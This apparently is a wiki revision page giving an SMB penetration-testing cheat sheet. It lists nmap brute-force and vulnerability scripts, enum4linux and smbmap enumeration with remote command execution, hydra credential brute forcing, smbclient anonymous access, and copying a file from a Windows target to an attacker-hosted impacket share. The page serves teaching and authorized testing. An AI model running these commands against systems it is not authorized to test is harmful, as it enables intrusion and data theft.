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SMB Pentesting | |||
SMB stands for Server Message Block. Default ports are 445, 139. | |||
Ok what does it do? Glad you asked. | Ok what does it do? Glad you asked. | ||
It allows clients, like workstations, to communicate with a server like a share directory. | It allows clients, like workstations, to communicate with a server like a share directory. | ||
SMB Enumeration | SMB Enumeration | ||
Auto enum can be done with nmap like so. Pay attention here the port may be different but no all the time and of course the ip will be different. | Auto enum can be done with nmap like so. Pay attention here the port may be different but no all the time and of course the ip will be different. | ||
nmap --script smb-brute -p 445 <target-ip> | nmap --script smb-brute -p 445 <target-ip> | ||
nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 445 <target-ip> | nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 445 <target-ip> | ||
nmap --script smb-enum* -p 445 <target-ip> | nmap --script smb-enum* -p 445 <target-ip> | ||
nmap --script smb-protocols -p 445 <target-ip> | nmap --script smb-protocols -p 445 <target-ip> | ||
nmap --script smb-vuln* -p 445 <target-ip> | nmap --script smb-vuln* -p 445 <target-ip> | ||
Enum4Linux enumerates the users, share directories, etc. | Enum4Linux enumerates the users, share directories, etc. | ||
enum4linux <target-ip> # Basic use. | enum4linux <target-ip> # Basic use. | ||
enum4linux -a <target-ip> # All Enum. | enum4linux -a <target-ip> # All Enum. | ||
enum4linux -v <target-ip> # Verbose. | |||
enum4linux -v <target-ip> # Verbose. | |||
enum4linux -u username -p password <target-ip> #Specify username and password this can get us even more information as we will have accessed that users share. | enum4linux -u username -p password <target-ip> #Specify username and password this can get us even more information as we will have accessed that users share. | ||
Smbmap | Smbmap | ||
smbmap -H <target-ip> | smbmap -H <target-ip> | ||
smbmap -H <target-ip> -R # Recursive lookup. | smbmap -H <target-ip> -R # Recursive lookup. | ||
smbmap -u username -p password -H <target-ip> # Username and Password | smbmap -u username -p password -H <target-ip> # Username and Password | ||
smbmap -u username -p password -H <target-ip> -x 'ipconfig' # Execute a command | smbmap -u username -p password -H <target-ip> -x 'ipconfig' # Execute a command | ||
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smbclient -L 10.0.0.1 | smbclient -L 10.0.0.1 | ||
smbclient -N -L 10.0.0.1 | smbclient -N -L 10.0.0.1 | ||
smbclient -N -L \\\\10.0.0.1 | smbclient -N -L \\\\10.0.0.1 | ||
smbclient -L 10.0.0.1 -U username | smbclient -L 10.0.0.1 -U username | ||
Anonymous | Anonymous | ||
smbclient //10.0.0.1/somedir -N | smbclient //10.0.0.1/somedir -N | ||
smbclient "//10.0.0.1/some dir" -N # use of "" | |||
smbclient "//10.0.0.1/some dir" -N | |||
smbclient //10.0.0.1/somedir -U username # Specify shared directory | |||
smbclient -L 10.0.0.1 -W WORKGROUP -U username # Specify workgroup | |||
smbclient | |||
Revision as of 15:19, 21 January 2023
SMB Pentesting
SMB stands for Server Message Block. Default ports are 445, 139.
Ok what does it do? Glad you asked. It allows clients, like workstations, to communicate with a server like a share directory.
SMB Enumeration
Auto enum can be done with nmap like so. Pay attention here the port may be different but no all the time and of course the ip will be different.
nmap --script smb-brute -p 445 <target-ip>
nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 445 <target-ip>
nmap --script smb-enum* -p 445 <target-ip>
nmap --script smb-protocols -p 445 <target-ip>
nmap --script smb-vuln* -p 445 <target-ip> Enum4Linux enumerates the users, share directories, etc.
enum4linux <target-ip> # Basic use.
enum4linux -a <target-ip> # All Enum.
enum4linux -v <target-ip> # Verbose.
enum4linux -u username -p password <target-ip> #Specify username and password this can get us even more information as we will have accessed that users share.
Smbmap
smbmap -H <target-ip> smbmap -H <target-ip> -R # Recursive lookup.
smbmap -u username -p password -H <target-ip> # Username and Password
smbmap -u username -p password -H <target-ip> -x 'ipconfig' # Execute a command
Brute Force Credentials hydra -l username -P passwords.txt <target-ip> smb hydra -L usernames.txt -p password <target-ip> smb
Connect with smbclient
smbclient -L 10.0.0.1
smbclient -N -L 10.0.0.1
smbclient -N -L \\\\10.0.0.1
smbclient -L 10.0.0.1 -U username
Anonymous
smbclient //10.0.0.1/somedir -N
smbclient "//10.0.0.1/some dir" -N # use of ""
smbclient //10.0.0.1/somedir -U username # Specify shared directory
smbclient -L 10.0.0.1 -W WORKGROUP -U username # Specify workgroup
Commands in SMB
Once Connected we can find sensitive files or information and we love that as hackers dont we.
List Files
smb> ls
Download a file
smb> get sample.txt
Put a file can be txt,pdf,php etc..
smb> put sample.txt
Download files recursively smb> mask "" smb> recurse ON smb> prompt OFF smb> mget *
We can use smbget from our local machine as well
smbget -R smb://<target-ip>/somedir -U username
Specify workgroup
smbget -R smb://<target-ip>/somedir -w WORKGROUP -U username
as anonymous user
smbget smb://<target-ip>/somedir -U anonymous password: anonymous
Transfer a file from windows to my attacker machine In your local kali make a directory that you want that file to go into.
mk dir smb
Next we will run impacket-smbserver
sudo impacket-smbserver -smb2support share $(pwd)
Then we will transfer the file over to that share we just set up with impacket-smbserver.
powershell copy bloodhound.zip \\attackip\share\
I choose to show you a transfer of a bloodhound zip file which is super important when enumerating AD.